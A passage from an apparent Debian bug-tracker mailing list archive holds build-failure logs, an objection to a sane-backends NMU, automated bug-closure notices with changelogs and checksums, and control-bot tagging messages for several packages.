-DLINUX=\"LINUX_4.9.0-5-AMD64\" -DPLATFORM=\"X86_64-Debian_\"
-DPRE_RELEASE_STR="\" Debian-8.6.8~dfsg.1-1+b1\"" -DWITH_OPENSSL -DX86_64=X86_64
-I"/<>/obj-x86_64-linux-gnu/bld_external/classads-8.6.8/install/include"
-I/usr/include/globus -I/usr/lib64/globus/include -I/usr/lib/globus/include
-I/usr/local/globus/include/globus -I"/<>/src/condor_includes"
-I"/<>/obj-x86_64-linux-gnu/src/condor_includes"
-I"/<>/src/condor_utils"
-I"/<>/obj-x86_64-linux-gnu/src/condor_utils"
-I"/<>/src/condor_daemon_core.V6"
-I"/<>/src/condor_daemon_client" -I"/<>/src/ccb"
-I"/<>/src/condor_io" -I"/<>/src/h"
-I"/<>/obj-x86_64-linux-gnu/src/h"
-I"/<>/obj-x86_64-linux-gnu/src/classad"
-I"/<>/src/classad" -I"/<>/src/safefile"
-I"/<>/obj-x86_64-linux-gnu/src/safefile"
-I"/<>/obj-x86_64-linux-gnu/src/condor_collector.V6"  -g -O2
-fdebug-prefix-map=/<>=. -fstack-protector-strong -Wformat
-Werror=format-security -Wdate-time -D_FORTIFY_SOURCE=2 -std=c++11 -DWITH_IPV6
-fopenmp -g -O2 -fdebug-prefix-map=/<>=. -fstack-protector-strong
-Wformat -Werror=format-security -Wdate-time -D_FORTIFY_SOURCE=2 -fPIC -fopenmp
-Wall -W -Wextra -Wfloat-equal -Wendif-labels -Wpointer-arith -Wcast-qual
-Wcast-align -Wvolatile-register-var -Wno-error=unused-local-typedefs
-Wdeprecated-declarations -Wno-error=deprecated-declarations
-Wno-nonnull-compare -Wno-error=nonnull-compare -fstack-protector -rdynamic -g
 -fPIE -DPIE -w -o CMakeFiles/condor_collector.dir/soap_collectorStub.cpp.o -c
"/<>/src/condor_collector.V6/soap_collectorStub.cpp"
/<>/src/condor_collector.V6/soap_collectorStub.cpp:31:17: error:
'soap_collector' is not a namespace-name
 using namespace soap_collector;
 ^~
/<>/src/condor_collector.V6/soap_collectorStub.cpp:31:31: error:
expected namespace-name before ';' token
 using namespace soap_collector;
   ^
In file included from
/<>/src/condor_collector.V6/soap_collectorStub.cpp:32:0:
/<>/src/condor_collector.V6/../condor_utils/soap_helpers.cpp: In
function 'bool convert_ad_to_adStruct(soap*, compat_classad::ClassAd*,
condor__ClassAdStruct*, bool)':
/<>/src/condor_collector.V6/../condor_utils/soap_helpers.cpp:49:14:
error: invalid use of incomplete type 'struct condor__ClassAdStruct'
 ad_struct->__size = 0;
  ^~
/<>/src/condor_collector.V6/../condor_utils/soap_helpers.cpp:30:31:
note: forward declaration of 'struct condor__ClassAdStruct'
struct condor__ClassAdStruct *ad_struct,
   ^
/<>/src/condor_collector.V6/../condor_utils/soap_helpers.cpp:49:16:
error: invalid use of incomplete type 'struct condor__ClassAdStruct'
 ad_struct->__size = 0;
^~
/<>/src/condor_collector.V6/../condor_utils/soap_helpers.cpp:30:31:
note: forward declaration of 'struct condor__ClassAdStruct'
struct condor__ClassAdStruct *ad_struct,
   ^
/<>/src/condor_collector.V6/../condor_utils/soap_helpers.cpp:50:14:
error: invalid use of incomplete type 'struct condor__ClassAdStruct'
 ad_struct->__ptr = NULL;
  ^~
/<>/src/condor_collector.V6/../condor_utils/soap_helpers.cpp:30:31:
note: forward declaration of 'struct condor__ClassAdStruct'
struct condor__ClassAdStruct *ad_struct,
   ^
/<>/src/condor_collector.V6/../condor_utils/soap_helpers.cpp:50:16:
error: invalid use of incomplete type 'struct condor__ClassAdStruct'
 ad_struct->__ptr = NULL;
^
/<>/src/condor_collector.V6/../condor_utils/soap_helpers.cpp:30:31:
note: forward declaration of 'struct condor__ClassAdStruct'
struct condor__ClassAdStruct *ad_struct,
   ^
/<>/src/condor_collector.V6/../condor_utils/soap_helpers.cpp:

Bug#887032: Bug#818544: sane-backends: diff for NMU version 1.0.25-4.2

[Jörg Frings-Fürst]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA512

Hello Mattia,

this is an objection against the intended NMU.

Reasons:

 * Use of a directory (tmp/sane-backends) outside the build directory 
 * The announcement of the NMU took place in a Whishlist bug, which has
   nothing to do with the NMU.
 * In my response[1] I have clearly stated that my version is available
   for review with my mentor. 
 * dh_autoreconf is used for update the upstream m4 files with the
   newest one. The "dh_autoreconf -X.m4" command prevents this for all
   upstream data.

CU
Jörg

[1] https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=879845#15

- -- 
New:
GPG Fingerprint: 63E0 075F C8D4 3ABB 35AB  30EE 09F8 9F3C 8CA1 D25D
GPG key (long) : 09F89F3C8CA1D25D
GPG Key: 8CA1D25D
CAcert Key S/N : 0E:D4:56

Old pgp Key: BE581B6E (revoked since 2014-12-31).

Jörg Frings-Fürst
D-54470 Lieser

Threema:  SYR8SJXB
Wire: @joergfringsfuerst
Skype:joergpenguin
Ring: jff
Telegram: @joergfringsfuerst


My wish list: 
 - Please send me a picture from the nature at your home.
-BEGIN PGP SIGNATURE-

iQIzBAEBCgAdFiEEY+AHX8jUOrs1qzDuCfifPIyh0l0FAlrGafcACgkQCfifPIyh
0l0ewBAA0BaL0VmrSnD/3YAvlukFGGnpiglFyxssqVDHOQngDV68tRnPaPvO7cTN
QB/OURC++cEFUSCrnUY3XX1gIzTxIAZ4rZslU2khPqaMKQhIl7wzmEuNMxhjfldW
hKgLfXqos+jBLYQRhO5oyJu5+gg2CuCKeKkovSIHgBfi8wNPGZsIaE9diH6vf2sw
P9UvsSvCEko6G6SOi7ZlhUu/eFV8W9krAYu9c6/bSiB8Z49VKdyIwCJ1njtRE5Aw
vaM+vwp1n04vlxVQb5LQHaGtmf8E5vlvzAkdIjGe5gHGhg03m5BQK/RnI7zSFN9Q
peyfE7PMph9kDyxojkVCWnsUkOiW3RNvlyoekqO/AfLxq8R82KSgJI3z+qDTGvxq
FSXR2TMD/7+pCMdvamL1Edbi3KDG6lD9BqGU1dmWnEu9RRFCbbO0RbVQOGezVHIt
N1ei9C3VEEql8WVJG1Y3ktti7gMdXnZdkfp7JLQALRDmerxLtFAfhv78X+hWHRx4
XKsp4/2v41BbifRgRC+axIX8UO9Z9hcSqEaHZsTVi+JDG5J1UoW/xn/d/xUrY8qj
YTN1QJl/3rb1fiQ68oa//s1mTYjrPnc/TAoTZOJ7+TjQcDzlxKtKFe29W5ZuE9rR
vVxWbd2U0HjcAonKFZull4knYPUmUCSjbbylgCIxMpB5cnkxiSk=
=ofcm
-END PGP SIGNATURE-

Bug#894913: marked as done (libkf5akonadi-dev: fails to upgrade from 'testing' - trying to overwrite /usr/share/kdevappwizard/templates/akonadiresource.tar.bz2)

[Debian Bug Tracking System]

Your message dated Thu, 05 Apr 2018 18:19:30 +
with message-id 
and subject line Bug#894913: fixed in akonadi 4:17.12.3-2
has caused the Debian Bug report #894913,
regarding libkf5akonadi-dev: fails to upgrade from 'testing' - trying to 
overwrite /usr/share/kdevappwizard/templates/akonadiresource.tar.bz2
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
894913: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=894913
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Package: libkf5akonadi-dev
Version: 4:17.12.3-1
Severity: serious
User: debian...@lists.debian.org
Usertags: piuparts

Hi,

during a test with piuparts I noticed your package fails to upgrade from
'testing'.
It installed fine in 'testing', then the upgrade to 'sid' fails
because it tries to overwrite other packages files without declaring a
Breaks+Replaces relation.

See policy 7.6 at
https://www.debian.org/doc/debian-policy/#overwriting-files-and-replacing-packages-replaces

>From the attached log (scroll to the bottom...):

  Selecting previously unselected package libkf5akonadi-dev.
  Preparing to unpack .../165-libkf5akonadi-dev_4%3a17.12.3-1_amd64.deb ...
  Unpacking libkf5akonadi-dev (4:17.12.3-1) ...
  dpkg: error processing archive 
/tmp/apt-dpkg-install-mLp8Pj/165-libkf5akonadi-dev_4%3a17.12.3-1_amd64.deb 
(--unpack):
   trying to overwrite 
'/usr/share/kdevappwizard/templates/akonadiresource.tar.bz2', which is also in 
package kapptemplate 4:17.08.3-1


cheers,

Andreas


kapptemplate=4%17.08.3-1_libkf5akonadi-dev=4%17.12.3-1.log.gz
Description: application/gzip
--- End Message ---
--- Begin Message ---
Source: akonadi
Source-Version: 4:17.12.3-2

We believe that the bug you reported is fixed in the latest version of
akonadi, which is due to be installed in the Debian FTP archive.

A summary of the changes between this version and the previous one is
attached.

Thank you for reporting the bug, which will now be closed.  If you
have further comments please address them to 894...@bugs.debian.org,
and the maintainer will reopen the bug report if appropriate.

Debian distribution maintenance software
pp.
Sandro Knauß  (supplier of updated akonadi package)

(This message was generated automatically at their request; if you
believe that there is a problem with it please contact the archive
administrators by mailing ftpmas...@ftp-master.debian.org)


-BEGIN PGP SIGNED MESSAGE-
Hash: SHA512

Format: 1.8
Date: Thu, 05 Apr 2018 19:45:46 +0200
Source: akonadi
Binary: akonadi-backend-mysql akonadi-backend-postgresql akonadi-backend-sqlite 
akonadi-server libkf5akonadi-data libkf5akonadi-dev libkf5akonadi-dev-bin 
libkf5akonadiagentbase5 libkf5akonadicore5abi1 libkf5akonadiprivate5abi1 
libkf5akonadiserver-dev libkf5akonadiwidgets5abi1 libkf5akonadixml5
Architecture: source
Version: 4:17.12.3-2
Distribution: unstable
Urgency: medium
Maintainer: Debian/Kubuntu Qt/KDE Maintainers 
Changed-By: Sandro Knauß 
Description:
 akonadi-backend-mysql - MySQL storage backend for Akonadi
 akonadi-backend-postgresql - PostgreSQL storage backend for Akonadi
 akonadi-backend-sqlite - SQLite storage backend for Akonadi
 akonadi-server - Akonadi PIM storage service
 libkf5akonadi-data - Akonadi arch independent data
 libkf5akonadi-dev - development files for the KDE Development Platform PIM 
libraries
 libkf5akonadi-dev-bin - Additional development binaries for the Akonadi KDE 
PIM libraries
 libkf5akonadiagentbase5 - Akonadi agent base library
 libkf5akonadicore5abi1 - Akonadi core library
 libkf5akonadiprivate5abi1 - libraries for the Akonadi PIM storage service
 libkf5akonadiserver-dev - development files for the Akonadi PIM storage service
 libkf5akonadiwidgets5abi1 - Akonadi widgets library
 libkf5akonadixml5 - Akonadi XML helper library
Closes: 894913
Changes:
 akonadi (4:17.12.3-2) unstable; urgency=medium
 .
   * Team upload.
 .
   [ Sandro Knauß ]
   * Adds Breaks/Replaces against kapptemplate (Closes: #894913)
Checksums-Sha1:
 d8505f818fb6ac5d8889e0d75404d5242ed432f6 4178 akonadi_17.12.3-2.dsc
 1c9d78814d83f11f4334d7f2c4985c748c73bf89 54884 akonadi_17.12.3-2.debian.tar.xz
 ebead4d6194497af617a29e3a805794b5529d548 23982 
akonadi_17.12.3-2_source.buildinfo
Checksums-Sha256:
 41c376b9324e7b3859853672d6c7184ac3f910446f1844b8aa4e7cd68d8c038d 4178 
akonadi_17.12.3-2.dsc
 6aca04ca388afe9d3eae15594de54544d8e10c8b20e80940616abb170cb33d9b 54884 
akonadi_17.12.3-2.debian.tar.xz
 f8ca92c864b553d178642bf4911394f0a2f141d4c7ea4eb74ca976ab0299f10f 23982 
akonadi_17.12.3-2_source.buildinfo
Files:
 7bf595c6b8b7194fbf5f1a24bba10849 4178 libs op

Processed: found 894842 in 2.0-7.1, tagging 894874, found 894874 in 0.8.2-3

[Debian Bug Tracking System]

Processing commands for cont...@bugs.debian.org:

> found 894842 2.0-7.1
Bug #894842 [src:roboptim-core] RM: roboptim-core -- RoQA, unmaintained, 
RC-Buggy
Marked as found in versions roboptim-core/2.0-7.1.
> tags 894874 + sid buster
Bug #894874 [src:mod-gnutls] mod-gnutls: FTBFS with Apache 2.4.33-1, reverse 
proxying seems fully broken
Added tag(s) buster and sid.
> found 894874 0.8.2-3
Bug #894874 [src:mod-gnutls] mod-gnutls: FTBFS with Apache 2.4.33-1, reverse 
proxying seems fully broken
Marked as found in versions mod-gnutls/0.8.2-3.
> thanks
Stopping processing here.

Please contact me if you need assistance.
-- 
894842: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=894842
894874: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=894874
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#891721: marked as done (ubuntu-dev-tools FTBFS: test failure)

[Debian Bug Tracking System]

Your message dated Thu, 05 Apr 2018 17:57:27 +
with message-id 
and subject line Bug#891721: fixed in ubuntu-dev-tools 0.162
has caused the Debian Bug report #891721,
regarding ubuntu-dev-tools FTBFS: test failure
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
891721: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=891721
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Source: ubuntu-dev-tools
Version: 0.161
Severity: serious

https://tests.reproducible-builds.org/debian/rb-pkg/unstable/amd64/ubuntu-dev-tools.html

...
==
FAIL: test_pylint (ubuntutools.test.test_pylint.PylintTestCase)
Test: Run pylint on Python source code
--
Traceback (most recent call last):
  File "/build/1st/ubuntu-dev-tools-0.161/ubuntutools/test/test_pylint.py", 
line 47, in test_pylint
self.assertFalse(err, pylint_binary + ' crashed. Error output:\n' + 
err.decode())
AssertionError: pylint crashed. Error output:
Using config file /build/1st/ubuntu-dev-tools-0.161/ubuntutools/test/pylint.conf


==
FAIL: test_flake8 (ubuntutools.test.test_flake8.Flake8TestCase)
Test: Run flake8 on Python source code
--
Traceback (most recent call last):
  File "/build/1st/ubuntu-dev-tools-0.161/ubuntutools/test/test_flake8.py", 
line 44, in test_flake8
self.assertFalse(out, "flake8 found issues:\n" + out.decode())
AssertionError: flake8 found issues:
ubuntutools/test/test_logger.py:19:1: E722 do not use bare except'
ubuntutools/test/test_config.py:23:1: E722 do not use bare except'
ubuntutools/sponsor_patch/patch.py:76:72: E741 ambiguous variable name 'l'
ubuntutools/requestsync/mail.py:235:9: E722 do not use bare except'


--
Ran 81 tests in 248.085s

FAILED (failures=2, skipped=1)
Test failed: 
The old maintainer was: Ubuntu MOTU Developers 
Resetting as: Ubuntu Developers 
error: Test failed: 
E: pybuild pybuild:283: test: plugin distutils failed with: exit code=1: 
python2.7 setup.py test 
dh_auto_test: pybuild --test -i python{version} -p 2.7 returned exit code 13
make: *** [debian/rules:6: build] Error 25
--- End Message ---
--- Begin Message ---
Source: ubuntu-dev-tools
Source-Version: 0.162

We believe that the bug you reported is fixed in the latest version of
ubuntu-dev-tools, which is due to be installed in the Debian FTP archive.

A summary of the changes between this version and the previous one is
attached.

Thank you for reporting the bug, which will now be closed.  If you
have further comments please address them to 891...@bugs.debian.org,
and the maintainer will reopen the bug report if appropriate.

Debian distribution maintenance software
pp.
Mattia Rizzolo  (supplier of updated ubuntu-dev-tools 
package)

(This message was generated automatically at their request; if you
believe that there is a problem with it please contact the archive
administrators by mailing ftpmas...@ftp-master.debian.org)


-BEGIN PGP SIGNED MESSAGE-
Hash: SHA512

Format: 1.8
Date: Thu, 05 Apr 2018 18:58:15 +0200
Source: ubuntu-dev-tools
Binary: ubuntu-dev-tools python-ubuntutools python3-ubuntutools
Architecture: source
Version: 0.162
Distribution: unstable
Urgency: medium
Maintainer: Ubuntu Developers 
Changed-By: Mattia Rizzolo 
Description:
 python-ubuntutools - useful library of APIs for Ubuntu developer tools (Python 
2)
 python3-ubuntutools - useful library of APIs for Ubuntu developer tools
 ubuntu-dev-tools - useful tools for Ubuntu developers
Closes: 891721
Changes:
 ubuntu-dev-tools (0.162) unstable; urgency=medium
 .
   [ Mattia Rizzolo ]
   * Team upload.
   * Fix test failures with newer flake8 and pylint.  Closes: #891721
   * Bump Standards-Version to 4.1.4, no changes needed.
   * Set Rules-Requires-Root:no.
   * Drop superseded X-Python(3)-Version fields.
   * Add a dependency on sensible-utils, as we use sensible-editor(1).
   * Change Maintainer address to ubuntu-dev-to...@packages.debian.org, to
 assist with the alioth deprecation.
 .
   [ Dimitri John Ledkov ]
   * mk-sbuild: add support for 'overlay' in favor of older 'overlayfs'.
 .
   [ Scott Kitterman ]
   * pbuilder-dist: add a --backports option to make it easier to build for
 backports when dependencies from backports are needed.
Checksums-Sha1:
 81f97fadfb650178e0ffacb563ad10a004158f86 2356 ubun

Bug#893421: swi-prolog FTBFS with openjdk-9

[Lev Lamberov]

Hi Benjamin,

Ср 04 апр 2018 @ 12:31 Benjamin Lorenz :

> The configure script of the swi-prolog jpl package only checks whether
> lib/$arch/server or jre/lib/$arch/server exists but the $arch
> subdirectory was removed in openjdk9. Because of the failed check the
> LDFLAGS are missing the correct directories for libjava.so and related
> libraries.
> I have created a pull request to for this:
> https://github.com/SWI-Prolog/packages-jpl/pull/8

I see your fix was merged upstream. Thanks for your contribution!

> I have tried this on i386 and the package now compiles but make check
> then fails with the same errors as in #887155.

Yes, #887155 is a tricky one. Hope it will be better in the next
upstream release.

Cheers!
Lev

Processed: tagging 893421

[Debian Bug Tracking System]

Processing commands for cont...@bugs.debian.org:

> tags 893421 - help
Bug #893421 [src:swi-prolog] swi-prolog FTBFS with openjdk-9
Removed tag(s) help.
> thanks
Stopping processing here.

Please contact me if you need assistance.
-- 
893421: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=893421
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Processed: [bts-link] source package src:python-ncclient

[Debian Bug Tracking System]

Processing commands for cont...@bugs.debian.org:

> #
> # bts-link upstream status pull for source package src:python-ncclient
> # see http://lists.debian.org/debian-devel-announce/2006/05/msg1.html
> #
> user bts-link-upstr...@lists.alioth.debian.org
Setting user to bts-link-upstr...@lists.alioth.debian.org (was 
bts-link-de...@lists.alioth.debian.org).
> # remote status report for #894432 (http://bugs.debian.org/894432)
> # Bug title: python-ncclient FTBFS: AttributeError: 'NoneType' object has no 
> attribute 'settimeout'
> #  * https://github.com/ncclient/ncclient/issues/218
> #  * remote status changed: (?) -> closed
> #  * closed upstream
> tags 894432 + fixed-upstream
Bug #894432 [src:python-ncclient] python-ncclient FTBFS: AttributeError: 
'NoneType' object has no attribute 'settimeout'
Added tag(s) fixed-upstream.
> usertags 894432 + status-closed
There were no usertags set.
Usertags are now: status-closed.
> thanks
Stopping processing here.

Please contact me if you need assistance.
-- 
894432: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=894432
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Processed: tagging 893421

[Debian Bug Tracking System]

Processing commands for cont...@bugs.debian.org:

> tags 893421 + fixed-upstream
Bug #893421 [src:swi-prolog] swi-prolog FTBFS with openjdk-9
Added tag(s) fixed-upstream.
> thanks
Stopping processing here.

Please contact me if you need assistance.
-- 
893421: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=893421
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#894943: marked as done (Quoting fixed in autopkgtest 5.2)

[Debian Bug Tracking System]

Your message dated Thu, 05 Apr 2018 17:26:48 +
with message-id 
and subject line Bug#894943: fixed in node-mapnik 3.7.1+dfsg-3
has caused the Debian Bug report #894943,
regarding Quoting fixed in autopkgtest 5.2
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
894943: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=894943
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---

Source: mapnik-reference
Severity: serious
User: ubuntu-de...@lists.ubuntu.com
Usertags: origin-ubuntu bionic autopkgtest

Hi Maintainer

The quote escaping bug [1] was recently fixed in autopkgtest 5.2.
This means you can finally fix those crazy quotes, for example:

--- a/debian/tests/control
+++ b/debian/tests/control
@@ -1,3 +1,3 @@
-Test-Command: nodejs -e "require('"'"'zipfile'"'"');"
+Test-Command: nodejs -e "require('zipfile');"
 Depends: @

This also means that your autopkgtests will start failing soon and you 
may miss actual regressions.


Regards
Graham


[1] https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=893035
--- End Message ---
--- Begin Message ---
Source: node-mapnik
Source-Version: 3.7.1+dfsg-3

We believe that the bug you reported is fixed in the latest version of
node-mapnik, which is due to be installed in the Debian FTP archive.

A summary of the changes between this version and the previous one is
attached.

Thank you for reporting the bug, which will now be closed.  If you
have further comments please address them to 894...@bugs.debian.org,
and the maintainer will reopen the bug report if appropriate.

Debian distribution maintenance software
pp.
Bas Couwenberg  (supplier of updated node-mapnik package)

(This message was generated automatically at their request; if you
believe that there is a problem with it please contact the archive
administrators by mailing ftpmas...@ftp-master.debian.org)


-BEGIN PGP SIGNED MESSAGE-
Hash: SHA512

Format: 1.8
Date: Thu, 05 Apr 2018 18:04:09 +0200
Source: node-mapnik
Binary: node-mapnik
Architecture: source amd64
Version: 3.7.1+dfsg-3
Distribution: unstable
Urgency: medium
Maintainer: Debian Javascript Maintainers 

Changed-By: Bas Couwenberg 
Description:
 node-mapnik - bindings to the Mapnik tile rendering library for Node.js
Closes: 894943
Changes:
 node-mapnik (3.7.1+dfsg-3) unstable; urgency=medium
 .
   * Team upload.
   * Fix quoting in tests control file.
 (closes: #894943)
Checksums-Sha1:
 9d3ed31c2dc9d3aa042121fc8072e796cc1fe017 2273 node-mapnik_3.7.1+dfsg-3.dsc
 7fda61f7c8a9230d51273144f08ccaca96f5048b 13656 
node-mapnik_3.7.1+dfsg-3.debian.tar.xz
 48e3baa41c1a7992c1f556777c08292444cde321 17975 
node-mapnik_3.7.1+dfsg-3_amd64.buildinfo
 acdb789526aad4dabc99adaa0e8260682fd819c3 670604 
node-mapnik_3.7.1+dfsg-3_amd64.deb
Checksums-Sha256:
 211e76190c0432246bc0e16c0245911c12165a6e4844f0da1134501b7d33c84c 2273 
node-mapnik_3.7.1+dfsg-3.dsc
 79f7394e419b53a645d65f14ddbbe629042c7c9c3f89487fd8b08d7799e8a504 13656 
node-mapnik_3.7.1+dfsg-3.debian.tar.xz
 7c4d4f739379b1625b81149151c332fda99d384be474dd665d6f024fda370856 17975 
node-mapnik_3.7.1+dfsg-3_amd64.buildinfo
 f2d0660c2225d6a1023183ac79db04a9bdae3bf5d7de769dfb0a4dd398886a5f 670604 
node-mapnik_3.7.1+dfsg-3_amd64.deb
Files:
 86caaaf9d0d3dd7e410b7494e33d5716 2273 javascript optional 
node-mapnik_3.7.1+dfsg-3.dsc
 d9e22078cebccc8080ea9ab46d5a9443 13656 javascript optional 
node-mapnik_3.7.1+dfsg-3.debian.tar.xz
 39e4332f3e21576508cfa4b55eb02aeb 17975 javascript optional 
node-mapnik_3.7.1+dfsg-3_amd64.buildinfo
 5677922a625ac1e90acd92e70faae552 670604 javascript optional 
node-mapnik_3.7.1+dfsg-3_amd64.deb

-BEGIN PGP SIGNATURE-

iQIzBAEBCgAdFiEEgYLeQXBWQI1hRlDRZ1DxCuiNSvEFAlrGS7oACgkQZ1DxCuiN
SvE8NQ/8DS2Owg+xrRAsW10lxmPm2o3Gar35FuXMLmjMRwOoImq3KXlpHwH5X4bA
EdrgK8vmhoqs+8v1WP54w1G8MJtQwSC31K8NJqHpNRU0dpfILjJTjexbGHzeqZPa
qYVKjwYaeryuL8fFksBJnHi4X42w/u0f8piMJZiiNRn1208icfcOxUJ5Dka4xYjS
2TvCzWMlokMHWbdwwDoQhjMtY1e2mfOQ5tVY5oCHldLqfFyLnEL/uJWd/jcqxuwL
Wyo58Tv0+wwNzv97Fc506B1N3mvRYAxJTzpWCNixneqC6T+9GhaLnFJ2XNz/7/ew
prRJ25fgE0ooCjyqvTME5ner1e2H0OQiATvg5Z65cfyGujV1p24vOsWG+OY9dTq4
ifdFliirIfvlp5Rwhc94aKxmTS7CLwbiZO4WDxl9uUMsR9JgYbqVxpqp+vEwyCLE
Z/JOdLiBENpCocEoelbFWERG8CrLWiWNNXK7x+31RfX5kx9XQZ+1ufvvIhd+vH+C
uU7NL2l39Ho5fkwmL5VjBamJZ+YzphnE+Tb5NIS5kZqbGLH6ifQSbIkzdDCBOlc2
vJEPPkfRAYpvY9sb2K9yls3ZK/BR5Ywpj8p1YyVmqsuD3eis1eaFZ2+qaVK2eKxQ
WlQf8T2ljp6uHVzSub/1AXEfH3z7WxEKzBl5mEdwkQk3UO8Utok=
=yzmg
-END PGP SIGNATURE End Message ---

Bug#857970: marked as done (mldemos FTBFS on armel/armhf: error: 'glColor3f' was not declared in this scope)

[Debian Bug Tracking System]

Your message dated Thu, 05 Apr 2018 17:26:29 +
with message-id 
and subject line Bug#857970: fixed in mldemos 0.5.1+git.1.ee5d11f-2
has caused the Debian Bug report #857970,
regarding mldemos FTBFS on armel/armhf: error: 'glColor3f' was not declared in 
this scope
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
857970: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=857970
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Source: mldemos
Version: 0.5.1+git.1.ee5d11f-1
Severity: serious

https://buildd.debian.org/status/package.php?p=mldemos&suite=sid

...
g++ -c -pipe -Wno-all -Wno-unused-variable -Wno-unused-parameter -Wtrigraphs 
-Wreturn-type -Wnon-virtual-dtor -Wunused-value -Wunknown-pragmas -Wno-shadow 
-g -O2 -fdebug-prefix-map=/«BUILDDIR»/mldemos-0.5.1+git.1.ee5d11f=. 
-fstack-protector-strong -Wformat -Werror=format-security -Wdate-time 
-D_FORTIFY_SOURCE=2 -fPIC -D_REENTRANT -DOPENCV22 -DWITHBOOST -DQT_NO_DEBUG 
-DQT_SVG_LIB -DQT_OPENGL_LIB -DQT_WIDGETS_LIB -DQT_GUI_LIB -DQT_CORE_LIB -I. 
-I. -I../Core -I../MLDemos -I../_3rdParty -isystem /usr/include/opencv -isystem 
/usr/include/arm-linux-gnueabi/qt5 -isystem 
/usr/include/arm-linux-gnueabi/qt5/QtSvg -isystem 
/usr/include/arm-linux-gnueabi/qt5/QtOpenGL -isystem 
/usr/include/arm-linux-gnueabi/qt5/QtWidgets -isystem 
/usr/include/arm-linux-gnueabi/qt5/QtGui -isystem 
/usr/include/arm-linux-gnueabi/qt5/QtCore -Ibuild -Ibuild 
-I/usr/lib/arm-linux-gnueabi/qt5/mkspecs/linux-g++ -o build/canvas.o canvas.cpp
In file included from drawUtils.h:29:0,
 from canvas.cpp:34:
glwidget.h: In static member function 'static void GLWidget::glSample(fvec, 
QColor, int, int, int)':
glwidget.h:41:50: error: 'glColor3f' was not declared in this scope
 glColor3f(c.redF(), c.greenF(), c.blueF());
  ^
glwidget.h:46:28: error: 'glVertex3f' was not declared in this scope
 glVertex3f(sX,sY,sZ);
^
glwidget.h: In static member function 'static void GLWidget::glLine(fvec, fvec, 
int, int, int)':
glwidget.h:51:74: error: 'glVertex3f' was not declared in this scope
 glVertex3f(p1[xIndex], p1[yIndex], zIndex >= 0 ? p1[zIndex] : 0.f);
  ^
Makefile:548: recipe for target 'build/canvas.o' failed
make[2]: *** [build/canvas.o] Error 1


This is likely related to Qt in Debian using OpenGL ES instead of OpenGL
on armel and armhf.
--- End Message ---
--- Begin Message ---
Source: mldemos
Source-Version: 0.5.1+git.1.ee5d11f-2

We believe that the bug you reported is fixed in the latest version of
mldemos, which is due to be installed in the Debian FTP archive.

A summary of the changes between this version and the previous one is
attached.

Thank you for reporting the bug, which will now be closed.  If you
have further comments please address them to 857...@bugs.debian.org,
and the maintainer will reopen the bug report if appropriate.

Debian distribution maintenance software
pp.
Barak A. Pearlmutter  (supplier of updated mldemos package)

(This message was generated automatically at their request; if you
believe that there is a problem with it please contact the archive
administrators by mailing ftpmas...@ftp-master.debian.org)


-BEGIN PGP SIGNED MESSAGE-
Hash: SHA512

Format: 1.8
Date: Thu, 05 Apr 2018 16:11:18 +0100
Source: mldemos
Binary: mldemos
Architecture: source amd64
Version: 0.5.1+git.1.ee5d11f-2
Distribution: unstable
Urgency: medium
Maintainer: Barak A. Pearlmutter 
Changed-By: Barak A. Pearlmutter 
Description:
 mldemos- Machine Learning Demos (MLDemos) with Visualization
Closes: 857970 861270
Changes:
 mldemos (0.5.1+git.1.ee5d11f-2) unstable; urgency=medium
 .
   * bump to dh11
   * bump policy
   * isolate debian packaging on its own branch, push non-debian fixes onto 
upstream mods branch
   * swizzle packaging repo to salsa
   * merge build fix 337d1d0c78055d98dcc92266a64a038da5779f67
 by Martin T. H. Sandsmark  (closes: #861270)
   * surely arm is updated to have glColor3f by now (closes: #857970)
Checksums-Sha1:
 150ea933a9a1279f34d6ef2a26f5998a9b04b9b0 1994 mldemos_0.5.1+git.1.ee5d11f-2.dsc
 8f8fd38579667bbf1bf06c7ae7002e09e3f8e815 15416 
mldemos_0.5.1+git.1.ee5d11f-2.debian.tar.xz
 16620731220cd5797b50bed5eb91432fc59f4fff 97847756 
mldemos-dbgsym_0.5.1+git.1.ee5d11f-2_amd64.deb
 f39015f0cc8fd376b213c58d2eee76a934cd430b 19816 
mldemos_0.5.1+git.1.ee5d11f-2_amd64.buildinfo
 b4bebdb6006ebf142fec1f73eed71d664f18959a 3307248 
mldemos_0.5.1+gi

